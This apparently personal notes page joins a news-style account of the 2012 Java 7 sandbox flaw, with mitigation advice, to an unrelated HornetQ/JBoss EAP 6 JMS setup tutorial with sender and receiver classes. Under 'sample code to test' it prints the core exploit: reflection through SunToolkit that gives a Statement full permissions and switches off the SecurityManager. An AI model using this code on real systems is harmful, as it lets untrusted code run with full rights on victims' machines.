Java JRE 1.7 Vulnerability

The exploited vulnerability exists in all versions of Java 7, and can be used to exploit not just Windows, but also Apple OS X and Linux systems. "I have tested the following operating systems: Windows7, Ubuntu 12.04, OSX 10.8.1 [and] I have tested the following browsers: Firefox 14.0.1 (Windows, Linux, OSX), IE 9, Safari 6.


 


This exploit is awesome," he said. "[It's] not a buffer overflow or anything like that, it uses a flaw in the JRE design that allows a Java app to change its own security settings with reflection." As a result, an attacker can use the vulnerability to arbitrarily change Java security settings, allowing malware to read, write, and execute code on an infected system.

Oracle has yet to detail when it will release a related Java patch for the vulnerability. "The next scheduled update for Java is October 16th, 2012. Oracle has a bad track record for releasing timely patches for Java exploits, but with all the attention this flaw is getting I would hope it would release an out of cycle fix if for no other reason than to save face.

Until Oracle does patch the vulnerability, "the best way to prevent this attack at the moment is by removing or disabling [the] Java plug-in from your browser settings. "Once Oracle comes up with a patch you can re-enable this plug-in." Don't, however, roll back to a previous version of Java, since older versions have numerous known vulnerabilities.



SAMPLE CODE TO TEST

Class sun_awt_SunToolkit = ClassFinder.findClass("sun.awt.SunToolkit");

        Expression expr = new Expression(sun_awt_SunToolkit, "getField", new Object[] { Statement.class, "acc" });
        expr.execute();
        Field acc_Field = ((Field) expr.getValue());

        // create an access control context with all permissions
        Permissions allPerms = new Permissions();
        allPerms.add(new AllPermission());
        AccessControlContext allPermAcc = new AccessControlContext(new ProtectionDomain[] {
                new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), allPerms)
        });

        Statement disableSecurityManager = new Statement(java.lang.System.class, "setSecurityManager", new Object[1]);

        acc_Field.set(disableSecurityManager, allPermAcc);

        // and call it (now that it has all permissions)
        disableSecurityManager.execute();

 .....
.......

HornetQ in Jboss EAP 6.0

JAR Files

1)      Add this in standalone-full.xml under   

<jms-destinations>
    <jms-queue name="testQueue">
      <entry name="queue/test"/>
      <entry name="java:jboss/exported/jms/queue/test"/>
    </jms-queue>
    <jms-topic name="testTopic">
      <entry name="topic/test"/>
      <entry name="java:jboss/exported/jms/topic/test"/>
    </jms-topic>
</jms-destinations>

2)      Add new user for JMS through add-user.bat  [application-users type [select option b] ]

X:\> add-user.bat

b

ApplicationRealm

jmsUser

password

yes

                check in mgm-users.properties, application-users.properties like below line [new user with pwd]

jmsUser=aeadcf105686eafa6afc994e86a520db

3)      Add the below line into applicaiton-roles.properties

jmsUser=guest 

3.5) Start the server

D:\EAP-6.0.0.GA\jboss-eap-6.0\bin>standalone.bat -b 192.168.1.111 -Djboss.server.default.config=standalone-full.xml

Or

D:\EAP-6.0.0.GA\jboss-eap-6.0\bin>standalone.bat -b 192.168.1.111 –c standalone-full.xml

4)      Sender1.java

/**

 *

 */

package com.test;

import java.util.Hashtable;

import javax.jms.Connection;

import javax.jms.ConnectionFactory;

import javax.jms.Destination;

import javax.jms.MessageProducer;

import javax.jms.Queue;

import javax.jms.Session;

import javax.jms.TextMessage;

import javax.naming.Context;

import javax.naming.InitialContext;

public class Sender1

{

                public static void main ( String [] args )

                {

                                try

                                {

                                                Hashtable env = new Hashtable ();

                                                env.put ( Context.INITIAL_CONTEXT_FACTORY, "org.jboss.naming.remote.client.InitialContextFactory" );

                                                env.put ( Context.PROVIDER_URL, "remote://192.168.1.111:4447" );

                                                env.put ( Context.SECURITY_PRINCIPAL, "jmsUser" );

                                                env.put ( Context.SECURITY_CREDENTIALS, "password" );

                                                Context context = new InitialContext ( env );

                                                ConnectionFactory cf = (ConnectionFactory) context.lookup ( "jms/RemoteConnectionFactory" );

                                                Destination destination = (Destination) context.lookup ( "jms/queue/test" );

                                                Connection connection = cf.createConnection ( "jmsUser", "password" );

                                                Session session = connection.createSession ( false, Session.AUTO_ACKNOWLEDGE );

                                                Queue queue = (javax.jms.Queue) context.lookup ( "jms/queue/test" );

                                                TextMessage textMessage = session.createTextMessage ();

                                                textMessage.setText ( "hello vijay 3" );

                                                javax.jms.MessageProducer producer = session.createProducer ( destination );

                                                producer.send ( textMessage );

                                                System.out.println ( "Sending Done " );

                                                // Close the session and connection resources.

                                                // context.close();

                                                session.close ();

                                                connection.close ();

                                }

                                catch ( Exception ex )

                                {

                                                ex.printStackTrace ();

                                }

                }

}

1)      QueueReceive.java

package com.test;

import java.util.Hashtable;

import javax.jms.*;

import javax.naming.Context;

import javax.naming.InitialContext;

import javax.naming.NamingException;

public class QueueReceive implements MessageListener

{

                public final static String                  JNDI_FACTORY = "org.jboss.naming.remote.client.InitialContextFactory";

                // *************** Using the RemoteConnectionFactory JNDI name *************************

                public final static String                  JMS_FACTORY                  = "jms/RemoteConnectionFactory";

                // *************** Created Queue's JNDI name *************************

                public final static String                  QUEUE                                 = "jms/queue/test";

                private QueueConnectionFactory            qconFactory;

                private QueueConnection                                           qcon;

                private QueueSession                                   qsession;

                private QueueReceiver                                 qreceiver;

                private Queue                                                                   queue;

                private boolean                                                                                quit                                        = false;

                public void onMessage ( Message msg )

                {

                                try

                                {

                                                String msgText;

                                                if ( msg instanceof TextMessage )

                                                {

                                                                msgText = ( (TextMessage) msg ).getText ();

                                                }

                                                else

                                                {

                                                                msgText = msg.toString ();

                                                }

                                                System.out.println ( "\n\t " + msgText );

                                                if ( msgText.equalsIgnoreCase ( "quit" ) )

                                                {

                                                                synchronized ( this )

                                                                {

                                                                                quit = true;

                                                                                this.notifyAll (); // Notify main thread to quit

                                                                }

                                                }

                                }

                                catch ( JMSException jmse )

                                {

                                                jmse.printStackTrace ();

                                }

                }

                public void init ( Context ctx, String queueName ) throws NamingException, JMSException

                {

                                qconFactory = (QueueConnectionFactory) ctx.lookup ( JMS_FACTORY );

                                // *************** Creating Queue Connection using the UserName & Password *************************

                                qcon = qconFactory.createQueueConnection ( "jmsUser", "password" ); // <------------- amp="amp" change="change" p="p" password="password" the="the" username="username">

                                qsession = qcon.createQueueSession ( false, Session.AUTO_ACKNOWLEDGE );

                                queue = (Queue) ctx.lookup ( queueName );

                                qreceiver = qsession.createReceiver ( queue );

                                qreceiver.setMessageListener ( this );

                                qcon.start ();

                }

                public void close () throws JMSException

                {

                                qreceiver.close ();

                                qsession.close ();

                                qcon.close ();

                }

                public static void main ( String [] args ) throws Exception

                {

                               

                                InitialContext ic = getInitialContext ( "remote://192.168.7.9:4447" );

                                QueueReceive qr = new QueueReceive ();

                                qr.init ( ic, QUEUE );

                                System.out.println ( "JMS Ready To Receive Messages (To quit, send a \"quit\" message from QueueSender.class)." );

                                // Wait until a "quit" message has been received.

                                synchronized ( qr )

                                {

                                                while ( !qr.quit )

                                                {

                                                                try

                                                                {

                                                                                qr.wait ();

                                                                }

                                                                catch ( InterruptedException ie )

                                                                {

                                                                }

                                                }

                                }

                                qr.close ();

                }

                private static InitialContext getInitialContext ( String url ) throws NamingException

                {

                                Hashtable env = new Hashtable ();

                                env.put ( Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY );

                                env.put ( Context.PROVIDER_URL, url );

                                // *************** UserName & Password for the Initial Context for JNDI lookup *************************

                                env.put ( Context.SECURITY_PRINCIPAL, "jmsUser" );

                                env.put ( Context.SECURITY_CREDENTIALS, "password" );

                                return new InitialContext ( env );

                }

}

</------------->